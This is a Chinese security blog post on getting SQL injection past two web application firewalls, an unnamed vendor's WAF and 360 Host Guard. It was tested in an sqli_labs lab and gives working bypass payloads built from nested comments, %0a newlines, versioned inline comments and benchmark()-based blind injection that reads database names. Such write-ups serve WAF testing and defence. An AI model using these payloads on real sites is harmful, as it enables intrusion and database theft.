两款防火墙的注入绕过姿势

作者:oysy

原文地址:https://secvul.com/topics/876.html


前言:两个绕过的测试环境为sqli_labs+mysql。本文主要是以当时测试的思路来写的,还望各位师傅多多指教。

0x00 某厂商WAF

拦截语句
按照之前的思路,首先尝试了各种常用的payload,看看WAF拦了哪些操作,发现如下语句会拦截:

and 1=1类型
‘、%27
union、select、union select、select from、sleep()
/*!*/
…

放行语句
在上面尝试中发现如下语句未被拦截:

order by
/**/
/*/**/and if(1,1,0)
%0a、%0b…
order by x
…

对于第三个payload,最先尝试的是?id=1 and if(1,1,0),被拦截,然后猜测问题在于and这里,就在前面加了一个/**/进行尝试,发现还是失败,然后在注释中多加了/*,成功绕过,/*/*/也是可行的
测试发现,若响应内容含有敏感信息(mysql错误信息),会被WAF重置连接。所以需要构造一个可以执行成功的sql语句
测试思路
1. 既然敏感信息会被重置连接,我们可以采用盲注的方式进行绕过
先尝试绕过and 1=1/and ‘a’=’a’的限制,验证是否存在注入
在安全狗测试中我们是使用内联注释过狗的,但这款WAF限制了内联注释,所以需要另外的方法。并且由于单引号也被禁止了,暂时未想到绕过方法,先尝试数字型注入的绕过
测试payload:and 1 –、and 0 —

《两款防火墙的注入绕过姿势》2. 接着我们尝试一下and if形式的注入语句:

 /*/**/and if(substr(1,1,1)=1,1,0) -- -

未拦截,然后修改payload:

 /*/**/and if(substr(user(),1,1)='r',1,0) -- -,成功

《两款防火墙的注入绕过姿势》3. 继续往下构造

 /*/*/and if(substr((select/**/schema_name/*/**/from/**/(information_schema.schemata)limit 1 offset 0/*/**/),1,1)='i',1,0)-- - 成功

select后面跟的/**/是关键
ps:上面这段payload之前尝试其实是失败的,写文章复现的时候发现居然能过,一脸懵逼。当时是针对select进行了尝试,使用%0aselect进行的绕过
4. 这里其实还有个问题,针对sleep()函数的绕过,WAF对这块限制的很严,试过sleep/**/()、sleep/*/**/()等,均尝试失败
但是我们可以使用另外一个函数进行替代:benchmark(),最后构造payload如下:

 /*/*/and if(substr(user/*/**/(),1,1)='r',benchmark(100000000,rand()),0)-- -

ps:我们这里是针对数字型注入进行的绕过,后来测试了字符型,发现/*/**/’就可以过掉WAF,和上面and if的思路一致。针对union select的绕过,利用上述中的方法也是可以过的。

0x01 360主机卫士

ps:官网给出的更新日志是2015年12月,windows版本为:Windows 2.0.4.6
同样,我们继续按照之前的思路来测试
拦截语句

select、select from、union select
and 1=1类型
/*!50000*/ #后续测试发现,只拦截了这一个,如/*!500001*/就不会被拦截
…

放行语句

单独使用的select、union、from
‘
/*!*/
…

测试思路
1. 对于绕and 1=1类似语句方法和安全狗的一样,可以使用and /*!1=1*/或者and /*!1*/=/*!1*/来进行绕过
and if(substr(user(),1,1)=’r’,1,0)– –
2. 进行下一步测试时发现,payload:and if(substr(user(),1,1)=’r’,1,0)– -未被拦截,可以直接执行

《两款防火墙的注入绕过姿势》3. 然后继续构造payload查询数据库:

and if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i',1,0)-- -,结果被拦截

《两款防火墙的注入绕过姿势》
因为payload含有select from
按照第一节中的方法,我们使用%0aselect的形式试图干扰WAF,失败

 payload:and if(substr((%0aselect schema_name from information_schema.schemata limit 0,1),1,1)='i',1,0)-- -

接着我们在from前面加上了%0a,还是失败

 payload:and if(substr((%0aselect schema_name%0afrom information_schema.schemata limit 0,1),1,1)='i',1,0)-- -

然后我尝试了对from使用内联注释,成功

 payload:and if(substr((%0aselect schema_name%0a/*!50001from*/ information_schema.schemata limit 0,1),1,1)='i',1,0)-- -

 

《两款防火墙的注入绕过姿势》使用这种方法也可以绕过union select的限制,这里就不多说了

0x02 总结

这次测试比之前安全狗测试的时候思路要清晰一些,但感觉还是有诸多不足,对于mysql的特性还需要积累总结。